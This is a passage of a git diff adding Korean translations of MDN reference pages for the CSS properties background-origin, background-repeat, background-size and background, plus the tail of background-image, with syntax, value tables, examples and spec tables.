+<p>브라우저는 배경 이미지에 대한 어떠한 추가 정보도 접근성 보조 기술에 제공하지 않습니다. 특히 스크린 리더의 경우 배경 이미지의 존재 유무조차 알려주지 않습니다. 이미지가 페이지 목적의 이해에 필수적인 정보를 갖고 있다면 문서에서 구조적으로 설명하는 편이 좋습니다.</p>
+
+<ul>
+ <li><a href="https://developer.mozilla.org/en-US/docs/Web/Accessibility/Understanding_WCAG/Perceivable#Guideline_1.1_%E2%80%94_Providing_text_alternatives_for_non-text_content">MDN Understanding WCAG, Guideline 1.1 explanations</a></li>
+ <li><a href="https://www.w3.org/TR/2016/NOTE-UNDERSTANDING-WCAG20-20161007/text-equiv-all.html">Understanding Success Criterion 1.1.1 | W3C Understanding WCAG 2.0</a></li>
+</ul>
+
+<h2 id="형식_정의">형식 정의</h2>
+
+<p>{{cssinfo}}</p>
+
+<h2 id="형식_구문">형식 구문</h2>
+
+<pre class="syntaxbox notranslate">{{csssyntax}}</pre>
+
+<h2 id="예제">예제</h2>
+
+<h3 id="배경_이미지_레이어링">배경 이미지 레이어링</h3>
+
+<p>별 모양 이미지는 배경이 투명하고, 고양이 이미지 위에 위치합니다.</p>
+
+<h4 id="HTML">HTML</h4>
+
+<pre class="brush: html notranslate">&lt;div&gt;
+ &lt;p class="catsandstars"&gt;
+ This paragraph is full of cats&lt;br /&gt;and stars.
+ &lt;/p&gt;
+ &lt;p&gt;This paragraph is not.&lt;/p&gt;
+ &lt;p class="catsandstars"&gt;
+ Here are more cats for you.&lt;br /&gt;Look at them!
+ &lt;/p&gt;
+ &lt;p&gt;And no more.&lt;/p&gt;
+&lt;/div&gt;</pre>
+
+<h4 id="CSS">CSS</h4>
+
+<pre class="brush: css notranslate">p {
+ font-size: 1.5em;
+ color: #FE7F88;
+ background-image: none;
+ background-color: transparent;
+}
+
+div {
+ background-image:
+ url("https://mdn.mozillademos.org/files/6457/mdn_logo_only_color.png");
+}
+
+.catsandstars {
+ background-image:
+ url("https://mdn.mozillademos.org/files/11991/startransparent.gif"),
+ url("https://mdn.mozillademos.org/files/7693/catfront.png");
+ background-color: transparent;
+}</pre>
+
+<h4 id="결과">결과</h4>
+
+<p>{{EmbedLiveSample('배경_이미지_레이어링')}}</p>
+
+<ul>
+</ul>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <thead>
+ <tr>
+ <th scope="col">명세</th>
+ <th scope="col">상태</th>
+ <th scope="col">주석</th>
+ </tr>
+ </thead>
+ <tbody>
+ <tr>
+ <td>{{ SpecName('CSS3 Backgrounds', '#background-image', 'background-image') }}</td>
+ <td>{{ Spec2('CSS3 Backgrounds') }}</td>
+ <td>From CSS2 Revision 1, the property has been extended to support multiple backgrounds and any {{cssxref("&lt;image&gt;")}} CSS data type.</td>
+ </tr>
+ <tr>
+ <td>{{ SpecName('CSS2.1', 'colors.html#propdef-background-image', 'background-image') }}</td>
+ <td>{{ Spec2('CSS2.1') }}</td>
+ <td>From CSS1, the way images with and without intrinsic dimensions are handled is now described.</td>
+ </tr>
+ <tr>
+ <td>{{ SpecName('CSS1', '#background-image', 'background-image') }}</td>
+ <td>{{ Spec2('CSS1') }}</td>
+ <td></td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+
+
+<div>{{Compat("css.properties.background-image")}}</div>
+
+<h2 id="같이_보기">같이 보기</h2>
+
+<ul>
+ <li><a href="/ko/docs/Web/CSS/CSS_Images/Implementing_image_sprites_in_CSS">CSS로 이미지 스프라이트 구현하기</a></li>
+ <li>{{HTMLElement("img")}}</li>
+ <li>이미지 관련 자료형: {{cssxref("&lt;image&gt;")}}, {{cssxref("&lt;gradient&gt;")}}</li>
+ <li>이미지 관련 함수: {{cssxref("linear-gradient")}}, {{cssxref("radial-gradient")}}, {{cssxref("repeating-linear-gradient")}}, {{cssxref("repeating-radial-gradient")}}, {{cssxref("element")}}, {{cssxref("_image", "image()")}}, {{cssxref("image-set")}}, {{cssxref("url", "url()")}}</li>
+</ul>
diff --git a/files/ko/web/css/background-origin/index.html b/files/ko/web/css/background-origin/index.html
new file mode 100644
index 0000000000..4a92509f69
--- /dev/null
+++ b/files/ko/web/css/background-origin/index.html
@@ -0,0 +1,113 @@
+---
+title: background-origin
+slug: Web/CSS/background-origin
+tags:
+ - CSS
+ - CSS Background
+ - CSS Property
+ - Reference
+ - 'recipe:css-property'
+translation_of: Web/CSS/background-origin
+---
+<div>{{CSSRef}}</div>
+
+<p><a href="/ko/docs/Web/CSS">CSS</a> <strong><code>background-origin</code></strong> 속성은 배경의 원점을 테두리 시작점, 테두리 내부, 안쪽 여백 내부 중 하나로 지정합니다.</p>
+
+<div>{{EmbedInteractiveExample("pages/css/background-origin.html")}}</div>
+
+
+
+<p>{{cssxref("background-attachment")}}가 <code>fixed</code>인 경우 <code>background-origin</code>은 무시됩니다.</p>
+
+<h2 id="구문">구문</h2>
+
+<pre class="brush: css no-line-numbers notranslate">/* 키워드 값 */
+background-origin: border-box;
+background-origin: padding-box;
+background-origin: content-box;
+
+/* 전역 값 */
+background-origin: inherit;
+background-origin: initial;
+background-origin: unset;
+</pre>
+
+<p><code>background-origin</code> 속성은 다음 목록의 키워드 중 하나를 선택해 지정할 수 있습니다.</p>
+
+<h3 id="값">값</h3>
+
+<dl>
+ <dt><code>border-box</code></dt>
+ <dd>배경을 테두리 박스에 상대적으로 배치합니다.</dd>
+ <dt><code>padding-box</code></dt>
+ <dd>배경을 안쪽 여백 박스에 상대적으로 배치합니다.</dd>
+ <dt><code>content-box</code></dt>
+ <dd>배경을 콘텐츠 박스에 상대적으로 배치합니다.</dd>
+</dl>
+
+<h2 id="형식_정의">형식 정의</h2>
+
+<p>{{cssinfo}}</p>
+
+<h2 id="형식_구문">형식 구문</h2>
+
+<pre class="syntaxbox notranslate">{{csssyntax}}</pre>
+
+<h2 id="예제">예제</h2>
+
+<h3 id="배경_원점_설정하기">배경 원점 설정하기</h3>
+
+<pre class="brush:css; highlight:[6]; notranslate">.example {
+ border: 10px double;
+ padding: 10px;
+ background: url('image.jpg');
+ background-position: center left;
+ background-origin: content-box;
+}
+</pre>
+
+<pre class="brush:css; highlight:[6]; notranslate">#example2 {
+ border: 4px solid black;
+ padding: 10px;
+ background: url('image.gif');
+ background-repeat: no-repeat;
+ background-origin: border-box;
+}
+</pre>
+
+<pre class="brush:css; highlight:[4]; notranslate">div {
+ background-image: url('logo.jpg'), url('mainback.png'); /* Applies two images to the background */
+ background-position: top right, 0px 0px;
+ background-origin: content-box, padding-box;
+}</pre>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <thead>
+ <tr>
+ <th scope="col">Specification</th>
+ <th scope="col">Status</th>
+ <th scope="col">Comment</th>
+ </tr>
+ </thead>
+ <tbody>
+ <tr>
+ <td>{{SpecName('CSS3 Backgrounds', '#the-background-origin', 'background-origin')}}</td>
+ <td>{{Spec2('CSS3 Backgrounds')}}</td>
+ <td>Initial definition.</td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+<p class="hidden">The compatibility table in this page is generated from structured data. If you'd like to contribute to the data, please check out <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> and send us a pull request.</p>
+
+<p>{{Compat("css.properties.background-origin")}}</p>
+
+<h2 id="같이_보기">같이 보기</h2>
+
+<ul>
+ <li>{{cssxref("background-clip")}}</li>
+</ul>
diff --git a/files/ko/web/css/background-repeat/index.html b/files/ko/web/css/background-repeat/index.html
new file mode 100644
index 0000000000..5183ad67d6
--- /dev/null
+++ b/files/ko/web/css/background-repeat/index.html
@@ -0,0 +1,233 @@
+---
+title: background-repeat
+slug: Web/CSS/background-repeat
+tags:
+ - CSS
+ - CSS Background
+ - CSS Property
+ - Reference
+ - 'recipe:css-property'
+translation_of: Web/CSS/background-repeat
+---
+<div>{{CSSRef}}</div>
+
+<p><a href="/ko/docs/Web/CSS">CSS</a> <strong><code>background-repeat</code></strong> 속성은 배경 이미지의 반복 방법을 지정합니다. 가로축 및 세로축을 따라 반복할 수 있고, 아예 반복하지 않을 수도 있습니다.</p>
+
+<div>{{EmbedInteractiveExample("pages/css/background-repeat.html")}}</div>
+
+
+
+<p>반복한 이미지는 기본값에선 요소 크기에 따라 잘릴 수 있지만, 잘리지 않도록 배경 이미지 크기를 조절하거나(<code>round</code>) 끝에서 끝까지 고르게 분배(<code>space</code>)할 수 있습니다.</p>
+
+<h2 id="구문">구문</h2>
+
+<pre class="brush: css no-line-numbers notranslate">/* 키워드 값 */
+background-repeat: repeat-x;
+background-repeat: repeat-y;
+background-repeat: repeat;
+background-repeat: space;
+background-repeat: round;
+background-repeat: no-repeat;
+
+/* 2개 값 구문: 가로 | 세로 */
+background-repeat: repeat space;
+background-repeat: repeat repeat;
+background-repeat: round space;
+background-repeat: no-repeat round;
+
+/* 전역 값 */
+background-repeat: inherit;
+background-repeat: initial;
+background-repeat: unset;
+</pre>
+
+<h3 id="값">값</h3>
+
+<dl>
+ <dt><code>&lt;repeat-style&gt;</code></dt>
+ <dd>한 개 값 구문은 두 개 값 구문의 단축 형태입니다.</dd>
+ <dd>
+ <table class="standard-table">
+ <tbody>
+ <tr>
+ <td><strong>한 개 값</strong></td>
+ <td><strong>두 개 값</strong></td>
+ </tr>
+ <tr>
+ <td><code>repeat-x</code></td>
+ <td><code>repeat no-repeat</code></td>
+ </tr>
+ <tr>
+ <td><code>repeat-y</code></td>
+ <td><code>no-repeat repeat</code></td>
+ </tr>
+ <tr>
+ <td><code>repeat</code></td>
+ <td><code>repeat repeat</code></td>
+ </tr>
+ <tr>
+ <td><code>space</code></td>
+ <td><code>space space</code></td>
+ </tr>
+ <tr>
+ <td><code>round</code></td>
+ <td><code>round round</code></td>
+ </tr>
+ <tr>
+ <td><code>no-repeat</code></td>
+ <td><code>no-repeat no-repeat</code></td>
+ </tr>
+ </tbody>
+ </table>
+ 두 개 값 구문의 앞쪽은 가로 반복 방법을, 뒤쪽은 세로 반복 방법을 설정합니다. 각 방법의 동작 방식은 아래 표와 같습니다.</dd>
+ <dd>
+ <table class="standard-table">
+ <tbody>
+ <tr>
+ <td><code>repeat</code></td>
+ <td>요소의 배경 영역을 채울 때까지 이미지를 반복합니다. 마지막 반복 이미지가 넘칠 경우 잘라냅니다.</td>
+ </tr>
+ <tr>
+ <td><code>space</code></td>
+ <td>요소가 잘리지 않을 만큼 이미지를 반복합니다. 제일 처음과 마지막 반복 이미지는 요소의 양쪽 끝에 고정되고, 각 이미지 사이에 남은 여백을 고르게 분배합니다. 잘리지 않고 배치할 수 있는 이미지가 단 한 장인 경우가 아니라면 {{cssxref("background-position")}} 속성은 무시합니다. <code>space</code>를 사용했는데 이미지가 잘리는 경우는 그 크기가 너무 커서 한 장 조차 넣을 수 없는 경우뿐입니다.</td>
+ </tr>
+ <tr>
+ <td><code>round</code></td>
+ <td>가용 영역이 늘어나면 반복 이미지도 늘어나 여백을 남기지 않습니다. 이미지를 하나 더 추가할 공간이 생기면 (남은 공간 &gt;= 이미지 너비의 절반) 비로소 반복 횟수를 하나 추가합니다. 이 때, 원래 존재하던 이미지는 모두 줄어들어 새로운 이미지를 위한 공간을 확보합니다. 예시: 원래 너비가 260px이고, 세 번 반복된 이미지는 각자 300px 너비가 될 때까지 늘어날 수 있습니다. 그 후에는 이미지를 추가하고, 각자 225px로 줄어듭니다.</td>
+ </tr>
+ <tr>
+ <td><code>no-repeat</code></td>
+ <td>이미지를 반복하지 않습니다. 따라서 배경 이미지 영역이 다 차지 않을 수 있습니다. 반복하지 않은 이미지의 위치는 {{cssxref("background-position")}} CSS속성이 설정합니다.</td>
+ </tr>
+ </tbody>
+ </table>
+ </dd>
+</dl>
+
+<h2 id="형식_정의">형식 정의</h2>
+
+<p>{{cssinfo}}</p>
+
+<h2 id="형식_구문">형식 구문</h2>
+
+<pre class="syntaxbox notranslate">{{csssyntax}}
+</pre>
+
+<h2 id="예제">예제</h2>
+
+<h3 id="HTML">HTML</h3>
+
+<pre class="brush: html notranslate">&lt;ol&gt;
+ &lt;li&gt;no-repeat
+ &lt;div class="one"&gt;&lt;/div&gt;
+ &lt;/li&gt;
+ &lt;li&gt;repeat
+ &lt;div class="two"&gt;&lt;/div&gt;
+ &lt;/li&gt;
+ &lt;li&gt;repeat-x
+ &lt;div class="three"&gt;&lt;/div&gt;
+ &lt;/li&gt;
+ &lt;li&gt;repeat-y
+ &lt;div class="four"&gt;&lt;/div&gt;
+ &lt;/li&gt;
+ &lt;li&gt;space
+ &lt;div class="five"&gt;&lt;/div&gt;
+ &lt;/li&gt;
+ &lt;li&gt;round
+ &lt;div class="six"&gt;&lt;/div&gt;
+ &lt;/li&gt;
+ &lt;li&gt;repeat-x, repeat-y (multiple images)
+ &lt;div class="seven"&gt;&lt;/div&gt;
+ &lt;/li&gt;
+&lt;/ol&gt;</pre>
+
+<h3 id="CSS">CSS</h3>
+
+<pre class="brush: css notranslate">/* Shared for all DIVS in example */
+ol,
+li {
+ margin: 0;
+ padding: 0;
+}
+li {
+ margin-bottom: 12px;
+}
+div {
+ background-image: url(https://mdn.mozillademos.org/files/12005/starsolid.gif);
+ width: 160px;
+ height: 70px;
+}
+
+/* Background repeats */
+.one {
+ background-repeat: no-repeat;
+}
+.two {
+ background-repeat: repeat;
+}
+.three {
+ background-repeat: repeat-x;
+}
+.four {
+ background-repeat: repeat-y;
+}
+.five {
+ background-repeat: space;
+}
+.six {
+ background-repeat: round;
+}
+
+/* Multiple images */
+.seven {
+ background-image: url(https://mdn.mozillademos.org/files/12005/starsolid.gif),
+ url(https://developer.cdn.mozilla.net/media/redesign/img/favicon32.png);
+ background-repeat: repeat-x,
+ repeat-y;
+ height: 144px;
+}</pre>
+
+<h3 id="결과">결과</h3>
+
+<p>{{EmbedLiveSample('예제', 240, 560)}}</p>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <thead>
+ <tr>
+ <th scope="col">Specification</th>
+ <th scope="col">Status</th>
+ <th scope="col">Comment</th>
+ </tr>
+ </thead>
+ <tbody>
+ <tr>
+ <td>{{SpecName('CSS3 Backgrounds', '#the-background-repeat', 'background-repeat')}}</td>
+ <td>{{Spec2('CSS3 Backgrounds')}}</td>
+ <td>Adds support for multiple background images, the two-value syntax allowing distinct repetition behavior for the horizontal and vertical directions, the <code>space</code> and <code>round</code> keywords, and for backgrounds on inline-level elements by precisely defining the background painting area.</td>
+ </tr>
+ <tr>
+ <td>{{SpecName('CSS2.1', 'colors.html#propdef-background-repeat', 'background-repeat')}}</td>
+ <td>{{Spec2('CSS2.1')}}</td>
+ <td>No significant changes.</td>
+ </tr>
+ <tr>
+ <td>{{SpecName('CSS1', '#background-repeat', 'background-repeat')}}</td>
+ <td>{{Spec2('CSS1')}}</td>
+ <td>Initial definition.</td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+<p class="hidden">The compatibility table in this page is generated from structured data. If you'd like to contribute to the data, please check out <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> and send us a pull request.</p>
+
+<p>{{Compat("css.properties.background-repeat")}}</p>
+
+<h2 id="같이_보기">같이 보기</h2>
+
+<ul>
+ <li><a href="/ko/docs/Web/CSS/CSS_Backgrounds_and_Borders/Using_multiple_backgrounds">한 번에 여러 배경 사용하기</a></li>
+</ul>
diff --git a/files/ko/web/css/background-size/index.html b/files/ko/web/css/background-size/index.html
new file mode 100644
index 0000000000..db02fe7030
--- /dev/null
+++ b/files/ko/web/css/background-size/index.html
@@ -0,0 +1,196 @@
+---
+title: background-size
+slug: Web/CSS/background-size
+tags:
+ - CSS
+ - CSS Background
+ - CSS Property
+ - Reference
+translation_of: Web/CSS/background-size
+---
+<div>{{CSSRef}}</div>
+
+<div><a href="/ko/docs/CSS">CSS</a> <strong><code>background-size</code></strong> 속성은 요소 배경 이미지의 크기를 설정합니다. 그대로 두거나, 늘리고 줄이거나, 공간에 맞출 수 있습니다.</div>
+
+<div></div>
+
+<div>{{EmbedInteractiveExample("pages/css/background-size.html")}}</div>
+
+
+
+<p>배경 이미지로 덮이지 않은 공간은 {{cssxref("background-color")}} 속성으로 채워지고, 배경 이미지에서 투명하거나 반투명한 부분을 통해서도 배경색이 보입니다.</p>
+
+<h2 id="구문">구문</h2>
+
+<pre class="brush: css no-line-numbers">/* 키워드 값 */
+background-size: cover;
+background-size: contain;
+
+/* 단일 값 구문 */
+/* 이미지 너비 (높이는 'auto'가 됨) */
+background-size: 50%;
+background-size: 3.2em;
+background-size: 12px;
+background-size: auto;
+
+/* 두 개 값 구문 */
+/* 첫 번째 값: 이미지 너비, 두 번째 값: 이미지 높이 */
+background-size: 50% auto;
+background-size: 3em 25%;
+background-size: auto 6px;
+background-size: auto auto;
+
+/* 다중 배경 */
+background-size: auto, auto; /* `auto auto`와 혼동하지 말 것 */
+background-size: 50%, 25%, 25%;
+background-size: 6px, auto, contain;
+
+/* 전역 값 */
+background-size: inherit;
+background-size: initial;
+background-size: unset;
+</pre>
+
+<p> <code>background-size</code> 속성은 다음 방법 중 하나로 지정할 수 있습니다. </p>
+
+<ul>
+ <li><code><a href="#contain">contain</a></code> 또는 <code><a href="#cover">cover</a></code> 키워드 값 사용.</li>
+ <li>너비 값만 사용. 높이는 자동으로 <code>{{anch("auto")}}</code>가 됩니다.</li>
+ <li>너비와 높이 값을 모두 사용. 첫 번째 값은 너비로, 두 번째 값은 높이를 설정합니다. 각 값은 {{cssxref("&lt;length&gt;")}}, {{cssxref("&lt;percentage&gt;")}}, <code>{{anch("auto")}}</code>를 사용할 수 있습니다.</li>
+</ul>
+
+<p>여러 배경 이미지의 사이즈를 지정하려면 각각의 값을 쉼표로 구분하세요.</p>
+
+<h3 id="값">값</h3>
+
+<dl>
+ <dt><a id="contain" name="contain"><code>contain</code></a></dt>
+ <dd>이미지가 잘리거나 찌그러지지 않는 한도 내에서 제일 크게 설정.</dd>
+ <dt><a id="cover" name="cover"><code>cover</code></a></dt>
+ <dd>이미지가 찌그러지지 않는 한도 내에서 제일 크게 설정. 이미지의 가로세로비가 요소와 다르다면 이미지를 세로 또는 가로방향으로 잘라내어 빈 공간이 생기지 않도록 설정합니다.</dd>
+ <dt><a id="auto" name="auto"><code>auto</code></a></dt>
+ <dd>배경 이미지의 원본 크기를 유지.</dd>
+ <dt id="length">{{cssxref("&lt;length&gt;")}}</dt>
+ <dd>원본 크기의 너비/높이를 주어진 값으로 늘리거나 줄임. 음수는 유효하지 않습니다.</dd>
+ <dt id="percentage">{{cssxref("&lt;percentage&gt;")}}</dt>
+ <dd>Stretches the image in the corresponding dimension to the specified percentage of the <em>background positioning area</em>. The background positioning area is determined by the value of {{cssxref("background-origin")}} (by default, the padding box). However, if the background's {{cssxref("background-attachment")}} value is <code>fixed</code>, the positioning area is instead the entire {{glossary("viewport")}}. Negative values are not allowed.</dd>
+</dl>
+
+<h3 id="원본_크기와_비율">원본 크기와 비율</h3>
+
+<p>The computation of values depends on the image's intrinsic dimensions (width and height) and intrinsic proportions (width-to-height ratio). These attributes are as follows:</p>
+
+<ul>
+ <li>A bitmap image (such as JPG) always has intrinsic dimensions and proportions.</li>
+ <li>A vector image (such as SVG) does not necessarily have intrinsic dimensions. If it has both horizontal and vertical intrinsic dimensions, it also has intrinsic proportions. If it has no dimensions or only one dimension, it may or may not have proportions.</li>
+ <li>CSS {{cssxref("&lt;gradient&gt;")}}s have no intrinsic dimensions or intrinsic proportions.</li>
+ <li>Background images created with the {{cssxref("element()")}} function use the intrinsic dimensions and proportions of the generating element.</li>
+</ul>
+
+<div class="note">
+<p><strong>Note:</strong> The behavior of <code>&lt;gradient&gt;</code>s changed in Gecko 8.0 {{geckoRelease("8.0")}}. Before this, they were treated as images with no intrinsic dimensions, but with intrinsic proportions identical to that of the background positioning area.</p>
+</div>
+
+<div class="note">
+<p><strong>Note:</strong> In Gecko, background images created using the {{cssxref("element()")}} function are currently treated as images with the dimensions of the element, or of the background positioning area if the element is SVG, with the corresponding intrinsic proportion. This is non-standard behavior.</p>
+</div>
+
+<p>Based on the intrinsic dimensions and proportions, the rendered size of the background image is computed as follows:</p>
+
+<dl>
+ <dt>If both components of <code>background-size</code> are specified and are not <code>auto</code>:</dt>
+ <dd>The background image is rendered at the specified size.</dd>
+ <dt>If the <code>background-size</code> is <code>contain</code> or <code>cover</code>:</dt>
+ <dd>While preserving its intrinsic proportions, the image is rendered at the largest size contained within, or covering, the background positioning area. If the image has no intrinsic proportions, then it's rendered at the size of the background positioning area.</dd>
+ <dt>If the <code>background-size</code> is <code>auto</code> or <code>auto auto</code>:</dt>
+ <dd>
+ <ul>
+ <li>If the image has both horizontal and vertical intrinsic dimensions, it's rendered at that size.</li>
+ <li>If the image has no intrinsic dimensions and has no intrinsic proportions, it's rendered at the size of the background positioning area.</li>
+ <li>If the image has no intrinsic dimensions but has intrinsic proportions, it's rendered as if <code>contain</code> had been specified instead.</li>
+ <li>If the image has only one intrinsic dimension and has intrinsic proportions, it's rendered at the size corresponding to that one dimension. The other dimension is computed using the specified dimension and the intrinsic proportions.</li>
+ <li>If the image has only one intrinsic dimension but has no intrinsic proportions, it's rendered using the specified dimension and the other dimension of the background positioning area.</li>
+ </ul>
+ </dd>
+ <dd>
+ <div class="note"><strong>Note:</strong> SVG images have a <code><a href="/en-US/docs/Web/SVG/Attribute/preserveAspectRatio">preserveAspectRatio</a></code> attribute that defaults to the equivalent of <code>contain</code>. In Firefox 43, as opposed to Chrome 52, an explicit <code>background-size</code> causes <code>preserveAspectRatio</code> to be ignored.</div>
+ </dd>
+ <dt>If the <code>background-size</code> has one <code>auto</code> component and one non-<code>auto</code> component:</dt>
+ <dd>
+ <ul>
+ <li>If the image has intrinsic proportions, it's stretched to the specified dimension. The unspecified dimension is computed using the specified dimension and the intrinsic proportions.</li>
+ <li>If the image has no intrinsic proportions, it's stretched to the specified dimension. The unspecified dimension is computed using the image's corresponding intrinsic dimension, if there is one. If there is no such intrinsic dimension, it becomes the corresponding dimension of the background positioning area.</li>
+ </ul>
+ </dd>
+</dl>
+
+<div class="note">
+<p><strong>Note:</strong> Background sizing for vector images that lack intrinsic dimensions or proportions is not yet fully implemented in all browsers. Be careful about relying on the behavior described above, and test in multiple browsers to be sure the results are acceptable.</p>
+</div>
+
+<h3 id="형식_구문">형식 구문</h3>
+
+<pre class="syntaxbox">{{csssyntax}}
+</pre>
+
+<h2 id="예제">예제</h2>
+
+<p>Please see <a href="/en-US/docs/Web/CSS/CSS_Backgrounds_and_Borders/Scaling_background_images">Scaling background images</a> for examples.</p>
+
+<h2 id="참고">참고</h2>
+
+<p>If you use a <code>&lt;gradient&gt;</code> as the background and specify a <code>background-size</code> to go with it, it's best not to specify a size that uses a single <code>auto</code> component, or is specified using only a width value (for example, <code>background-size: 50%</code>). Rendering of <code>&lt;gradient&gt;</code>s in such cases changed in Firefox 8, and at present is generally inconsistent across browsers, which do not all implement rendering in full accordance with <a href="http://www.w3.org/TR/css3-background/#the-background-size" title="http://www.w3.org/TR/css3-background/#the-background-size">the CSS3 <code>background-size</code> specification</a> and with <a href="http://dev.w3.org/csswg/css3-images/#gradients" title="http://dev.w3.org/csswg/css3-images/#gradients">the CSS3 Image Values gradient specification</a>.</p>
+
+<pre class="brush: css">.gradient-example {
+ width: 50px;
+ height: 100px;
+ background-image: linear-gradient(blue, red);
+
+ /* Not safe to use */
+ background-size: 25px;
+ background-size: 50%;
+ background-size: auto 50px;
+ background-size: auto 50%;
+
+ /* Safe to use */
+ background-size: 25px 50px;
+ background-size: 50% 50%;
+}
+</pre>
+
+<p>Note that it's particularly not recommended to use a pixel dimension and an <code>auto</code> dimension with a <code>&lt;gradient&gt;</code>, because it's impossible to replicate rendering in versions of Firefox prior to 8, and in browsers not implementing Firefox 8's rendering, without knowing the exact size of the element whose background is being specified.</p>
+
+<h2 id="Specifications" name="Specifications">명세</h2>
+
+<table class="standard-table">
+ <thead>
+ <tr>
+ <th scope="col">Specification</th>
+ <th scope="col">Status</th>
+ <th scope="col">Comment</th>
+ </tr>
+ </thead>
+ <tbody>
+ <tr>
+ <td>{{SpecName('CSS3 Backgrounds', '#the-background-size', 'background-size')}}</td>
+ <td>{{Spec2('CSS3 Backgrounds')}}</td>
+ <td>Initial definition.</td>
+ </tr>
+ </tbody>
+</table>
+
+<p>{{cssinfo}}</p>
+
+<h2 id="Browser_compatibility" name="Browser_compatibility">브라우저 호환성</h2>
+
+<p class="hidden">The compatibility table in this page is generated from structured data. If you'd like to contribute to the data, please check out <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> and send us a pull request.</p>
+
+<p>{{Compat("css.properties.background-size")}}</p>
+
+<h2 id="같이_보기">같이 보기</h2>
+
+<ul>
+ <li><a href="/en-US/docs/CSS/Scaling_background_images" title="CSS/Scaling_background_images">Scaling background images</a></li>
+ <li><a href="/en-US/docs/Web/CSS/Scaling_of_SVG_backgrounds">Scaling of SVG backgrounds</a></li>
+ <li>{{cssxref("object-fit")}}</li>
+</ul>
diff --git a/files/ko/web/css/background/index.html b/files/ko/web/css/background/index.html
new file mode 100644
index 0000000000..1fd697b1d8
--- /dev/null
+++ b/files/ko/web/css/background/index.html
@@ -0,0 +1,178 @@
+---
+title: background
+slug: Web/CSS/background
+tags:
+ - CSS
+ - CSS Background
+ - CSS Property
+ - Reference
+ - 'recipe:css-shorthand-property'
+translation_of: Web/CSS/background
+---
+<div>{{CSSRef("CSS Background")}}</div>
+
+<p><a href="/ko/docs/Web/API/CSS">CSS </a><strong><code>background</code> </strong><a href="/ko/docs/Web/CSS/Shorthand_properties">단축 속성</a>은 색상, 이미지, 원점, 크기, 반복 등 여러 배경 스타일을 한 번에 지정합니다.</p>
+
+<div>{{EmbedInteractiveExample("pages/css/background.html")}}</div>
+
+
+
+<h2 id="구성_속성">구성 속성</h2>
+
+<p><code>background</code>는 단축 속성으로서 다음의 하위 속성을 포함합니다.</p>
+
+<ul>
+ <li>{{cssxref("background-attachment")}}</li>
+ <li>{{cssxref("background-clip")}}</li>
+ <li>{{cssxref("background-color")}}</li>
+ <li>{{cssxref("background-image")}}</li>
+ <li>{{cssxref("background-origin")}}</li>
+ <li>{{cssxref("background-position")}}</li>
+ <li>{{cssxref("background-repeat")}}</li>
+ <li>{{cssxref("background-size")}}</li>
+</ul>
+
+<h2 id="Syntax" name="Syntax">구문</h2>
+
+<pre class="brush: css notranslate">/* &lt;background-color&gt; 사용 */
+background: green;
+
+/* &lt;bg-image&gt;와 &lt;repeat-style&gt; 사용 */
+background: url("test.jpg") repeat-y;
+
+/* &lt;box&gt;와 &lt;background-color&gt; 사용 */
+background: border-box red;
+
+/* 단일 이미지, 중앙 배치 및 크기 조절 */
+background: no-repeat center/80% url("../img/image.png");
+</pre>
+
+<p><code>background</code> 속성을 쉼표로 구분해서 배경 레이어를 여러 개 지정할 수 있습니다.</p>
+
+<p>각 레이어의 구문은 다음과 같습니다.</p>
+
+<ul>
+ <li>각 레이어는 다음 값을 가지거나 가지지 않을 수 있습니다.
+ <ul>
+ <li><code><a href="#attachment">&lt;attachment&gt;</a></code></li>
+ <li><code><a href="#bg-image">&lt;bg-image&gt;</a></code></li>
+ <li><code><a href="#position">&lt;position&gt;</a></code></li>
+ <li><code><a href="#bg-size">&lt;bg-size&gt;</a></code></li>
+ <li><code><a href="#repeat-style">&lt;repeat-style&gt;</a></code></li>
+ </ul>
+ </li>
+ <li><code><a href="#bg-size">&lt;bg-size&gt;</a></code> 값은 <code><a href="#position">&lt;position&gt;</a></code> 바로 뒤에만 위치할 수 있으며 '/' 문자로 구분해야 합니다. 예를 들면 "<code>center/80%</code>" 처럼 사용합니다.</li>
+ <li><code><a href="#box">&lt;box&gt;</a></code> 값은 2개까지 가지거나 가지지 않을 수 있습니다. 1개 가진다면 {{cssxref("background-origin")}}과 {{cssxref("background-clip")}}을 모두 설정합니다. 2개 가진다면 처음 값은 {{cssxref("background-origin")}}, 두 번째 값은 {{cssxref("background-clip")}}을 설정합니다.</li>
+ <li><code><a href="#background-color">&lt;background-color&gt;</a></code> 값은 마지막 레이어만 가질 수 있습니다.</li>
+</ul>
+
+<h3 id="값"><a id="values" name="values">값</a></h3>
+
+<dl>
+ <dt><a id="attachment" name="attachment"><code>&lt;attachment&gt;</code></a></dt>
+ <dd>{{cssxref("background-attachment")}}</dd>
+ <dt><a id="box" name="box"><code>&lt;box&gt;</code></a></dt>
+ <dd>{{cssxref("background-clip")}}, {{cssxref("background-origin")}}</dd>
+ <dt><a id="background-color" name="background-color"><code>&lt;background-color&gt;</code></a></dt>
+ <dd>{{cssxref("background-color")}}</dd>
+ <dt><a id="bg-image" name="bg-image"><code>&lt;bg-image&gt;</code></a></dt>
+ <dd>{{Cssxref("background-image")}}</dd>
+ <dt><a id="position" name="position"><code>&lt;position&gt;</code></a></dt>
+ <dd>{{cssxref("background-position")}}</dd>
+ <dt><a id="repeat-style" name="repeat-style"><code>&lt;repeat-style&gt;</code></a></dt>
+ <dd>{{cssxref("background-repeat")}}</dd>
+ <dt><a id="bg-size" name="bg-size"><code>&lt;bg-size&gt;</code></a></dt>
+ <dd>{{cssxref("background-size")}}</dd>
+</dl>
+
+<h2 id="접근성_고려사항">접근성 고려사항</h2>
+
+<p>브라우저는 배경 이미지에 대한 어떠한 추가 정보도 접근성 보조 기술에 제공하지 않습니다. 특히 스크린 리더의 경우 배경 이미지의 존재 유무조차 알려주지 않습니다. 이미지가 페이지 목적의 이해에 필수적인 정보를 갖고 있다면 문서에서 구조적으로 설명하는 편이 좋습니다.</p>
+
+<ul>
